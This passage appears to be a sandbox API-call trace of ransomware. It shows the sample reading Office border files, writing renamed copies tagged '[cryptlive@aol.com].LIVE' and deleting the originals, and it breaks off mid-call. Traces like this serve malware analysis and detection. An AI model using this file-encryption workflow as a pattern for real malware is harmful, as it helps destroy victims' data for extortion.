lstrcmpiW (lpString1=".jpg", lpString2=".LNG") returned -1 [0150.181] lstrcmpiW (lpString1=".BDR", lpString2=".LIVE") returned -1 [0150.181] lstrlenW (lpString="MSART10.BDR") returned 11 [0150.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0150.182] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=9292) returned 1 [0150.182] CloseHandle (hObject=0x3b8) returned 1 [0150.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr")) returned 0x20 [0150.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0150.182] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.183] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0150.183] GetLastError () returned 0x0 [0150.183] ReadFile (in: hFile=0x3b8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x244c, lpOverlapped=0x0) returned 1 [0150.322] WriteFile (in: hFile=0x394, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x2450, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x2450, lpOverlapped=0x0) returned 1 [0150.326] ReadFile (in: hFile=0x3b8, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.326] WriteFile (in: hFile=0x394, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xea, lpOverlapped=0x0) returned 1 [0150.327] SetEndOfFile (hFile=0x394) returned 1 [0150.846] CloseHandle (hObject=0x394) returned 1 [0150.846] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.846] SetEndOfFile (hFile=0x3b8) returned 1 [0151.467] CloseHandle (hObject=0x3b8) returned 1 [0151.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.482] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr")) returned 1 [0151.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0151.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0151.502] lstrlenW (lpString=".doc") returned 4 [0151.502] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.502] lstrlenW (lpString=".docx") returned 5 [0151.502] lstrcmpiW (lpString1=".docx", lpString2="0.BDR") returned -1 [0151.502] lstrlenW (lpString=".pdf") returned 4 [0151.502] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.502] lstrlenW (lpString=".xls") returned 4 [0151.502] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.502] lstrlenW (lpString=".xlsx") returned 5 [0151.502] lstrcmpiW (lpString1=".xlsx", lpString2="0.BDR") returned -1 [0151.502] lstrlenW (lpString=".ppt") returned 4 [0151.502] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0151.502] lstrlenW (lpString=".zip") returned 4 [0151.502] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.502] lstrlenW (lpString=".rar") returned 4 [0151.502] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.502] lstrlenW (lpString=".bz2") returned 4 [0151.502] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.502] lstrlenW (lpString=".7z") returned 3 [0151.502] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0151.502] lstrlenW (lpString=".dbf") returned 4 [0151.502] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0151.503] lstrlenW (lpString=".1cd") returned 4 [0151.503] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0151.503] lstrlenW (lpString=".jpg") returned 4 [0151.503] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0151.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0151.503] lstrlenW (lpString=".doc") returned 4 [0151.503] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.503] lstrlenW (lpString=".docx") returned 5 [0151.503] lstrcmpiW (lpString1=".docx", lpString2="0.BDR") returned -1 [0151.503] lstrlenW (lpString=".pdf") returned 4 [0151.503] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.503] lstrlenW (lpString=".xls") returned 4 [0151.503] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.503] lstrlenW (lpString=".xlsx") returned 5 [0151.503] lstrcmpiW (lpString1=".xlsx", lpString2="0.BDR") returned -1 [0151.503] lstrlenW (lpString=".ppt") returned 4 [0151.503] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0151.503] lstrlenW (lpString=".zip") returned 4 [0151.503] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.503] lstrlenW (lpString=".rar") returned 4 [0151.503] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.503] lstrlenW (lpString=".bz2") returned 4 [0151.503] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.503] lstrlenW (lpString=".7z") returned 3 [0151.503] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0151.503] lstrlenW (lpString=".dbf") returned 4 [0151.503] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0151.503] lstrlenW (lpString=".1cd") returned 4 [0151.503] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR") returned 62 [0151.504] lstrlenW (lpString=".jpg") returned 4 [0151.504] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.504] lstrcmpiW (lpString1=".BDR", lpString2=".LIVE") returned -1 [0151.504] lstrlenW (lpString="MSART5.BDR") returned 10 [0151.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0151.504] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=15788) returned 1 [0151.504] CloseHandle (hObject=0x1fc) returned 1 [0151.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr")) returned 0x20 [0151.504] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0151.505] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.505] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0151.505] GetLastError () returned 0x0 [0151.505] ReadFile (in: hFile=0x1fc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x3dac, lpOverlapped=0x0) returned 1 [0151.547] WriteFile (in: hFile=0x3b4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x3db0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x3db0, lpOverlapped=0x0) returned 1 [0151.548] ReadFile (in: hFile=0x1fc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.548] WriteFile (in: hFile=0x3b4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0151.548] SetEndOfFile (hFile=0x3b4) returned 1 [0151.549] CloseHandle (hObject=0x3b4) returned 1 [0151.549] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.549] SetEndOfFile (hFile=0x1fc) returned 1 [0151.551] CloseHandle (hObject=0x1fc) returned 1 [0151.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.552] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart5.bdr")) returned 1 [0151.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0151.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0151.552] lstrlenW (lpString=".doc") returned 4 [0151.552] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.552] lstrlenW (lpString=".docx") returned 5 [0151.552] lstrcmpiW (lpString1=".docx", lpString2="5.BDR") returned -1 [0151.552] lstrlenW (lpString=".pdf") returned 4 [0151.553] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.553] lstrlenW (lpString=".xls") returned 4 [0151.553] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.553] lstrlenW (lpString=".xlsx") returned 5 [0151.553] lstrcmpiW (lpString1=".xlsx", lpString2="5.BDR") returned -1 [0151.553] lstrlenW (lpString=".ppt") returned 4 [0151.553] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0151.553] lstrlenW (lpString=".zip") returned 4 [0151.553] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.553] lstrlenW (lpString=".rar") returned 4 [0151.553] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.553] lstrlenW (lpString=".bz2") returned 4 [0151.553] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.553] lstrlenW (lpString=".7z") returned 3 [0151.553] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0151.553] lstrlenW (lpString=".dbf") returned 4 [0151.553] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0151.553] lstrlenW (lpString=".1cd") returned 4 [0151.553] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0151.553] lstrlenW (lpString=".jpg") returned 4 [0151.553] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0151.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0151.553] lstrlenW (lpString=".doc") returned 4 [0151.553] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.553] lstrlenW (lpString=".docx") returned 5 [0151.553] lstrcmpiW (lpString1=".docx", lpString2="5.BDR") returned -1 [0151.553] lstrlenW (lpString=".pdf") returned 4 [0151.553] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.553] lstrlenW (lpString=".xls") returned 4 [0151.553] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.553] lstrlenW (lpString=".xlsx") returned 5 [0151.554] lstrcmpiW (lpString1=".xlsx", lpString2="5.BDR") returned -1 [0151.554] lstrlenW (lpString=".ppt") returned 4 [0151.554] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0151.554] lstrlenW (lpString=".zip") returned 4 [0151.554] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.554] lstrlenW (lpString=".rar") returned 4 [0151.554] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.554] lstrlenW (lpString=".bz2") returned 4 [0151.554] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.554] lstrlenW (lpString=".7z") returned 3 [0151.554] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0151.554] lstrlenW (lpString=".dbf") returned 4 [0151.554] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0151.554] lstrlenW (lpString=".1cd") returned 4 [0151.554] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART5.BDR") returned 61 [0151.554] lstrlenW (lpString=".jpg") returned 4 [0151.554] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.554] lstrcmpiW (lpString1=".BDR", lpString2=".LIVE") returned -1 [0151.554] lstrlenW (lpString="MSART6.BDR") returned 10 [0151.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0151.555] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=55222) returned 1 [0151.555] CloseHandle (hObject=0x1fc) returned 1 [0151.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr")) returned 0x20 [0151.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0151.555] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.555] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0151.556] GetLastError () returned 0x0 [0151.556] ReadFile (in: hFile=0x1fc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xd7b6, lpOverlapped=0x0) returned 1 [0151.606] WriteFile (in: hFile=0x3b4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xd7c0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xd7c0, lpOverlapped=0x0) returned 1 [0151.607] ReadFile (in: hFile=0x1fc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.607] WriteFile (in: hFile=0x3b4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0151.608] SetEndOfFile (hFile=0x3b4) returned 1 [0151.608] CloseHandle (hObject=0x3b4) returned 1 [0151.608] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.608] SetEndOfFile (hFile=0x1fc) returned 1 [0151.611] CloseHandle (hObject=0x1fc) returned 1 [0151.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0151.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart6.bdr")) returned 1 [0151.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0151.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0151.612] lstrlenW (lpString=".doc") returned 4 [0151.612] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.612] lstrlenW (lpString=".docx") returned 5 [0151.612] lstrcmpiW (lpString1=".docx", lpString2="6.BDR") returned -1 [0151.612] lstrlenW (lpString=".pdf") returned 4 [0151.612] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.612] lstrlenW (lpString=".xls") returned 4 [0151.612] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.612] lstrlenW (lpString=".xlsx") returned 5 [0151.612] lstrcmpiW (lpString1=".xlsx", lpString2="6.BDR") returned -1 [0151.612] lstrlenW (lpString=".ppt") returned 4 [0151.612] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0151.612] lstrlenW (lpString=".zip") returned 4 [0151.612] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.612] lstrlenW (lpString=".rar") returned 4 [0151.612] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.612] lstrlenW (lpString=".bz2") returned 4 [0151.612] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.612] lstrlenW (lpString=".7z") returned 3 [0151.612] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0151.612] lstrlenW (lpString=".dbf") returned 4 [0151.612] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0151.612] lstrlenW (lpString=".1cd") returned 4 [0151.613] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0151.613] lstrlenW (lpString=".jpg") returned 4 [0151.613] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0151.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0151.613] lstrlenW (lpString=".doc") returned 4 [0151.613] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0151.613] lstrlenW (lpString=".docx") returned 5 [0151.613] lstrcmpiW (lpString1=".docx", lpString2="6.BDR") returned -1 [0151.613] lstrlenW (lpString=".pdf") returned 4 [0151.613] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0151.613] lstrlenW (lpString=".xls") returned 4 [0151.613] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0151.613] lstrlenW (lpString=".xlsx") returned 5 [0151.613] lstrcmpiW (lpString1=".xlsx", lpString2="6.BDR") returned -1 [0151.613] lstrlenW (lpString=".ppt") returned 4 [0151.613] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0151.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0151.613] lstrlenW (lpString=".zip") returned 4 [0151.613] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0151.613] lstrlenW (lpString=".rar") returned 4 [0151.613] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0151.613] lstrlenW (lpString=".bz2") returned 4 [0151.613] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0151.613] lstrlenW (lpString=".7z") returned 3 [0151.613] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0151.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0151.613] lstrlenW (lpString=".dbf") returned 4 [0151.613] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0151.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0151.613] lstrlenW (lpString=".1cd") returned 4 [0151.613] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0151.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART6.BDR") returned 61 [0151.613] lstrlenW (lpString=".jpg") returned 4 [0151.614] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0151.614] lstrcmpiW (lpString1=".BDR", lpString2=".LIVE") returned -1 [0151.614] lstrlenW (lpString="MSART8.BDR") returned 10 [0151.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0151.614] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=49098) returned 1 [0151.614] CloseHandle (hObject=0x1fc) returned 1 [0151.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr")) returned 0x20 [0151.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0151.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft 